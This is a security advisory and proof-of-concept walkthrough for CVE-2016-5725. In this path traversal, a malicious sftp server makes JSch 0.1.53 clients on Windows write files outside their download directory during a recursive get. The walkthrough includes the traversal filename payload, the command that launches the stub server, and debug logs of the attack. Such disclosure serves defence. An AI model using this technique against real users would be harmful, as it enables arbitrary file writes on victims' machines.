JCraft/JSch Java Secure Channel 0.1.53 - Recursive sftp-get Directory Traversal











Ref:        https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-5725
Version:    0.3
Date:       Aug 31st, 2016

Complete Proof of Concept:

Tag:        jsch recursive sftp get client-side windows path traversal


Name:           jsch
Vendor:         jcraft
References:     * http://www.jcraft.com/jsch/ [1]

Version:        0.1.53 [2]
Latest Version: 0.1.54 [2]
Other Versions: <= 0.1.53 
Platform(s):    windows
Technology:     java

Vuln Classes:   CWE-22 Improper Limitation of a Pathname to a Restricted
Directory ('Path Traversal')
Origin:         remote
Min. Privs.:    post auth

CVE:            CVE-2016-5725


quote website [1]

> JSch is a pure Java implementation of SSH2. JSch allows you to connect
 to an sshd server and use port forwarding, X11 forwarding, file transfer,
etc., and you can integrate its functionality into your own Java programs.
 JSch is licensed under BSD style license.

We have recognized that the following applications have used JSch.

  * Ant(1.6 or later).
    JSch has been used for Ant's sshexec and scp tasks.
  * Eclipse(3.0).
    Our Eclipse-CVSSSH2 plug-in has been included in Eclipse SDK 3.0. 
    This plug-in will allow you to get ssh2 accesses to remote CVS
    by JSch.
  * NetBeans 5.0(and later)
  * Jakarta Commons VFS
  * Maven Wagon
  * Rational Application Devloper for WebSphere Software
  * HP Storage Essentials
  * JIRA
  * Trac WikiOutputStreamPlugin


A malicious sftp server may force a client-side relative path traversal in
jsch's implementation for recursive sftp-get allowing the server to write
files outside the clients download basedir with effective permissions of the
jsch sftp client process. 

* affects recursive get, i.e. sftp <host>:</path>/* .
* post-auth
* file overwrite capability depends on the client specified mode: 
* windows only

see attached PoC


  * examples/Sftp.java::main::
    c.get(p1, p2, monitor, mode);
   * ChannelSftp.java::get(String src, String dst, 
                           SftpProgressMonitor monitor, int mode)
    * ChannelSftp.java::_get(src,dst,monitor,mode,skip)


see ref github.

Proof of Concept

see ref github.


1. run `poc.py` to spawn the ssh/sftp stub listening for new connections 
   on ``:

poc.py --host= --port=3373 -l DEBUG -k test_rsa.key

INFO:__main__:[cve-2016-5725] sftp server starting... 
INFO:__main__:* generating fake files
INFO:__main__:** /..\..\totally_malicious_script
INFO:__main__:* setting up sftp server
INFO:__main__:* monkey patching: chattr
INFO:__main__:* monkey patching: list_folder
INFO:__main__:* monkey patching: mkdir
INFO:__main__:* monkey patching: open
INFO:__main__:* monkey patching: remove
INFO:__main__:* monkey patching: rename
INFO:__main__:* monkey patching: rmdir
INFO:__main__:* monkey patching: stat
INFO:__main__:* monkey patching: symlink
INFO:__main__:* starting sftp server... 3373

2. connect to `poc.py` using jsch sftp-client example `examples/Sftp.java`
   (any user, user password):


3. issue a recursive get (any remote folder will do for the PoC) to store
   all files from `remote:fancyfolder` to `.`.

Note: output may contain additional debug information not enabled by default
      in `examples/Sftp.java`
Note: pwd is `<path>\workspace-ee\jsch`
Note: local output folder is `.` (`<path>\workspace-ee\jsch`)  

sftp> get fancyfolder/* .

3. client connects to `poc.py` with subsystem sftp

DEBUG:paramiko.transport:starting thread (server mode): 0x350afd0L
DEBUG:paramiko.transport:Local version/idstring: SSH-2.0-paramiko_2.0.0
DEBUG:paramiko.transport:Remote version/idstring: SSH-2.0-JSCH-0.1.53
INFO:paramiko.transport:Connected (version 2.0, client JSCH-0.1.53)
DEBUG:paramiko.transport:kex algos:[u'ecdh-sha2-nistp256', ...
DEBUG:paramiko.transport:Kex agreed: diffie-hellman-group1-sha1
DEBUG:paramiko.transport:Cipher agreed: aes128-ctr
DEBUG:paramiko.transport:MAC agreed: hmac-md5
DEBUG:paramiko.transport:Compression agreed: none
DEBUG:paramiko.transport:kex engine KexGroup1 specified hash_algo ...
DEBUG:paramiko.transport:Switch to new keys ...
DEBUG:paramiko.transport:Auth request (type=none) ...
INFO:paramiko.transport:Auth rejected (none).
DEBUG:paramiko.transport:Auth request (type=password) ...
INFO:paramiko.transport:Auth granted (password).
DEBUG:paramiko.transport:[chan 0] Max packet in: 32768 bytes
DEBUG:paramiko.transport:[chan 0] Max packet out: 32768 bytes
DEBUG:paramiko.transport:Secsh channel 0 (session) opened.
DEBUG:paramiko.transport:Starting handler for subsystem sftp

4. jsch sftp-client command `get fancyfolder/* .` calls
   on the PoC sftp server which responds with a fake filelist for
   listing the file `/..\..\totally_malicious_script`. 
DEBUG:paramiko.transport.sftp:[chan 0] Started sftp server on channel 
      <paramiko.Channel 0 (open) window=2097152 -> <paramiko.Transport 
      at 0x350afd0L (cipher aes128-ctr, 128 bits) (active; 1 open
channel(s))>> DEBUG:paramiko.transport.sftp:[chan 0] Request: realpath
DEBUG:paramiko.transport.sftp:[chan 0] Request: opendir INFO:__main__:LIST
(u'/fancyfolder'): [<SFTPAttributes: [ size=44 uid=0 
      gid=9 mode=0100666 atime=1472758892 mtime=1472758897 ]>]
DEBUG:paramiko.transport.sftp:[chan 0] Request: readdir
DEBUG:paramiko.transport.sftp:[chan 0] Request: readdir
DEBUG:paramiko.transport.sftp:[chan 0] Request: close

5. jsch sftp-client recursively downloads the files listed in the response
   to `opendir(/fancyfolder)` (sftp-get) by
   calling `stat`, `open` and `read` on the file.

a) jsch sftp-client calls `stat` on the filename as returned by the servers
   response to `opendir` (with traversal): 
b) the sftp-server (PoC) returns file attributes for
   (with traversal)
c) jsch sftp-client requests file `open` on the path (with traversal):
d) jsch sftp-client builds destination path by concatenating the destination
   folder ( `<path>\workspace-ee\jsch\.` ) with the server provided filename
   `/..\..\totally_malicious_script` stripping any data before and including
   `/` of the filename, then receives the remote files contents: `
e) the resulting sftp-client local destination path
  `dst <path>\workspace-ee\jsch\.\..\..\totally_malicious_script` is outside
   the basedir `<path>\workspace-ee\jsch\.`  

sftp-server (PoC)  

DEBUG:paramiko.transport.sftp:[chan 0] Request: stat INFO:__main__:STAT
INFO:__main__:STAT - returning: totally_malicious_script
INFO:__main__:** /..\..\totally_malicious_script
DEBUG:paramiko.transport.sftp:[chan 0] Request: open
INFO:__main__:OPEN: /fancyfolder//..\..\totally_malicious_script
DEBUG:paramiko.transport.sftp:[chan 0] Request: read
DEBUG:paramiko.transport.sftp:[chan 0] Request: read
DEBUG:paramiko.transport.sftp:[chan 0] Request: read
DEBUG:paramiko.transport.sftp:[chan 0] Request: close

sftp-client (jsch)  

dst <path>\workspace-ee\jsch\.\..\..\totally_malicious_script
_get: /fancyfolder//..\..\totally_malicious_script,

6. downloaded file is stored in server controlled relative path on client

tintin@testbox ~<path>/workspace-ee/jsch $ ls ../../total*


* the PoC is a slightly modified version `stub_sftp.py` shipped with
  paramiko/tests [4].
* we've seen ssh bots in the wild using jsch probing for weak ssh passwords.

Vendor response: see [5]


[1] http://www.jcraft.com/jsch/
[2] https://sourceforge.net/projects/jsch/files/?source=navbar
[3] https://sourceforge.net/projects/jsch/files/jsch/0.1.53
[4] https://github.com/paramiko/paramiko/blob/master/tests/stub_sftp.py
[5] http://www.jcraft.com/jsch/ChangeLog